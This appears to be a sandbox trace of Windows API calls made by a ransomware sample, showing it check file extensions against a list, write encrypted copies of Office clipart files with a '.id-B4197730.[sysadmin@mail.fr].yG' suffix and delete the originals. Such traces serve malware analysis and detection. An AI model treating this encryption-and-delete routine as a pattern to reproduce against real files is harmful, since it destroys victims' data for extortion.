	[0171.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.404] lstrlenW (lpString=".zip") returned 4
	[0171.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.404] lstrlenW (lpString=".rar") returned 4
	[0171.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.404] lstrlenW (lpString=".bz2") returned 4
	[0171.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.405] lstrlenW (lpString=".7z") returned 3
	[0171.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.405] lstrlenW (lpString=".dbf") returned 4
	[0171.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.405] lstrlenW (lpString=".1cd") returned 4
	[0171.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0171.405] lstrlenW (lpString=".jpg") returned 4
	[0171.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.431] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3568) returned 1
	[0171.431] CloseHandle (hObject=0x364) returned 1
	[0171.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220
	[0171.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.432] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.432] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.434] GetLastError () returned 0x0
	[0171.434] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xdf0, lpOverlapped=0x0) returned 1
	[0171.436] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xe00, lpOverlapped=0x0) returned 1
	[0171.438] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.438] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.438] SetEndOfFile (hFile=0x350) returned 1
	[0171.438] CloseHandle (hObject=0x350) returned 1
	[0171.438] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.438] SetEndOfFile (hFile=0x364) returned 1
	[0171.440] CloseHandle (hObject=0x364) returned 1
	[0171.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.441] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 1
	[0171.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.442] lstrlenW (lpString=".doc") returned 4
	[0171.442] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.442] lstrlenW (lpString=".docx") returned 5
	[0171.442] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0171.442] lstrlenW (lpString=".pdf") returned 4
	[0171.442] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.442] lstrlenW (lpString=".xls") returned 4
	[0171.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.443] lstrlenW (lpString=".xlsx") returned 5
	[0171.443] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0171.443] lstrlenW (lpString=".ppt") returned 4
	[0171.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.443] lstrlenW (lpString=".zip") returned 4
	[0171.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.443] lstrlenW (lpString=".rar") returned 4
	[0171.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.443] lstrlenW (lpString=".bz2") returned 4
	[0171.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.443] lstrlenW (lpString=".7z") returned 3
	[0171.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.443] lstrlenW (lpString=".dbf") returned 4
	[0171.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.443] lstrlenW (lpString=".1cd") returned 4
	[0171.443] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF") returned 68
	[0171.443] lstrlenW (lpString=".jpg") returned 4
	[0171.443] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.446] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=6024) returned 1
	[0171.446] CloseHandle (hObject=0x364) returned 1
	[0171.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 0x220
	[0171.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.448] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.448] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.449] GetLastError () returned 0x0
	[0171.449] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1788, lpOverlapped=0x0) returned 1
	[0171.451] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1790, lpOverlapped=0x0) returned 1
	[0171.452] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.452] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.452] SetEndOfFile (hFile=0x350) returned 1
	[0171.452] CloseHandle (hObject=0x350) returned 1
	[0171.452] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.453] SetEndOfFile (hFile=0x364) returned 1
	[0171.456] CloseHandle (hObject=0x364) returned 1
	[0171.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.457] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107480.wmf")) returned 1
	[0171.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.458] lstrlenW (lpString=".doc") returned 4
	[0171.458] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.458] lstrlenW (lpString=".docx") returned 5
	[0171.458] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0171.458] lstrlenW (lpString=".pdf") returned 4
	[0171.458] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.458] lstrlenW (lpString=".xls") returned 4
	[0171.458] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.458] lstrlenW (lpString=".xlsx") returned 5
	[0171.458] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0171.458] lstrlenW (lpString=".ppt") returned 4
	[0171.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.459] lstrlenW (lpString=".zip") returned 4
	[0171.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.459] lstrlenW (lpString=".rar") returned 4
	[0171.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString=".bz2") returned 4
	[0171.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString=".7z") returned 3
	[0171.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.459] lstrlenW (lpString=".dbf") returned 4
	[0171.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.459] lstrlenW (lpString=".1cd") returned 4
	[0171.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107480.WMF") returned 68
	[0171.459] lstrlenW (lpString=".jpg") returned 4
	[0171.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.461] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4980) returned 1
	[0171.461] CloseHandle (hObject=0x364) returned 1
	[0171.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 0x220
	[0171.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0171.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0171.464] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.464] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.464] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0171.465] GetLastError () returned 0x0
	[0171.465] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x1374, lpOverlapped=0x0) returned 1
	[0171.736] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0x1380, lpOverlapped=0x0) returned 1
	[0171.738] ReadFile (in: hFile=0x364, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.738] WriteFile (in: hFile=0x350, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.738] SetEndOfFile (hFile=0x350) returned 1
	[0171.738] CloseHandle (hObject=0x350) returned 1
	[0171.739] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.739] SetEndOfFile (hFile=0x364) returned 1
	[0171.743] CloseHandle (hObject=0x364) returned 1
	[0171.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0171.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107482.wmf")) returned 1
	[0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.994] lstrlenW (lpString=".doc") returned 4
	[0171.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.994] lstrlenW (lpString=".docx") returned 5
	[0171.995] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0171.995] lstrlenW (lpString=".pdf") returned 4
	[0171.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString=".xls") returned 4
	[0171.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.995] lstrlenW (lpString=".xlsx") returned 5
	[0171.995] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0171.995] lstrlenW (lpString=".ppt") returned 4
	[0171.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.995] lstrlenW (lpString=".zip") returned 4
	[0171.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.995] lstrlenW (lpString=".rar") returned 4
	[0171.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString=".bz2") returned 4
	[0171.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString=".7z") returned 3
	[0171.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.995] lstrlenW (lpString=".dbf") returned 4
	[0171.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.995] lstrlenW (lpString=".1cd") returned 4
	[0171.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107482.WMF") returned 68
	[0171.995] lstrlenW (lpString=".jpg") returned 4
	[0171.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.386] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=3040) returned 1
	[0173.386] CloseHandle (hObject=0x558) returned 1
	[0173.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220
	[0173.386] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.390] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.390] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0173.391] GetLastError () returned 0x0
	[0173.391] ReadFile (in: hFile=0x484, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0xbe0, lpOverlapped=0x0) returned 1
	[0173.393] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xbf0, lpOverlapped=0x0) returned 1
	[0173.394] ReadFile (in: hFile=0x484, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bffecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2bffecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.394] WriteFile (in: hFile=0x554, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bffc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2bffc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.395] SetEndOfFile (hFile=0x554) returned 1
	[0173.395] CloseHandle (hObject=0x554) returned 1
	[0173.395] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.395] SetEndOfFile (hFile=0x484) returned 1
	[0173.398] CloseHandle (hObject=0x484) returned 1
	[0173.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0173.399] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 1
	[0173.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.400] lstrlenW (lpString=".doc") returned 4
	[0173.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.400] lstrlenW (lpString=".docx") returned 5
	[0173.400] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0173.400] lstrlenW (lpString=".pdf") returned 4
	[0173.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.400] lstrlenW (lpString=".xls") returned 4
	[0173.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.400] lstrlenW (lpString=".xlsx") returned 5
	[0173.400] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0173.400] lstrlenW (lpString=".ppt") returned 4
	[0173.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.400] lstrlenW (lpString=".zip") returned 4
	[0173.400] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.400] lstrlenW (lpString=".rar") returned 4
	[0173.400] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.400] lstrlenW (lpString=".bz2") returned 4
	[0173.400] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.400] lstrlenW (lpString=".7z") returned 3
	[0173.400] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.401] lstrlenW (lpString=".dbf") returned 4
	[0173.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.401] lstrlenW (lpString=".1cd") returned 4
	[0173.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF") returned 68
	[0173.401] lstrlenW (lpString=".jpg") returned 4
	[0173.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.401] GetFileSizeEx (in: hFile=0x484, lpFileSize=0x2bfff14 | out: lpFileSize=0x2bfff14*=4200) returned 1
	[0173.401] CloseHandle (hObject=0x484) returned 1
	[0173.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220
	[0173.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0173.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484
	[0173.402] SetFilePointerEx (in: hFile=0x484, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bffec0 | out: lpNewFilePointer=0x0) returned 1
